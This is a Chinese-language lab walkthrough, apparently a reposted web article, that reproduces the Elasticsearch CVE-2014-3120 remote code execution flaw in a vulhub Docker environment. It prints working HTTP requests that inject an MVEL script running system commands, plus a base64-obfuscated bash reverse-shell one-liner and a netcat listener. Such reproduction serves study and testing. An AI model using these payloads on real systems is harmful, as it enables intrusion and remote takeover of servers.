您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關怎么實現ElasticSearch 遠程代碼執行漏洞CVE-2014-3120復現的分析,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
Elasticsearch是一個基于Lucene的搜索服務器。它提供了一個分布式多用戶能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java語言開發的,并作為Apache許可條款下的開放源碼發布,是一種流行的企業級搜索引擎。
ElasticSearch有腳本運行的功能,能夠非常方便地對查詢出來的數據再加工處理。 ElasticSearch用的腳本引擎是MVEL,這個引擎沒有做什么的防護,所以直接能夠運行隨意代碼。 而在ElasticSearch里,默認配置是打開動態腳本功能的,因此用戶能夠直接通過http請求,運行隨意代碼。
ElasticSearch版本: v1.1.1
僅作漏洞復現記錄與實現,利用流程如下:
一、漏洞環境搭建
本文漏洞環境采用vulhub搭建,執行以下命令開啟環境
cd /elasticsearch/CVE-2014-3120
docker-compose build
docker-compose up -d
執行完畢后訪問9200端口,顯示如下
漏洞鏈接: http://192.168.101.152:9200/
二、漏洞利用過程
利用該漏洞首先需要ElasticSearch存在至少一條數據,發送以下數據包添加數據
POST /website/blog/ HTTP/1.1
Host: 192.168.91.130:9200
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 27
{
"name": "colleget"
}
返回201狀態碼代表添加成功,之后發送以下數據包,執行命令
POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Content-Type: application/x-www-form-urlencoded
Content-Length: 366
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
}
}
可以看到執行結果回顯,接下來是反彈shell,為了方便寫了個腳本
先在dnslog上獲取域名,執行命令后判斷目標可出網
之后在服務器上執行nc -lvvp 1234,監聽端口,再執行命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
稍等一會兒就可以看到shell反彈到服務器上了
以上就是怎么實現ElasticSearch 遠程代碼執行漏洞CVE-2014-3120復現的分析,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。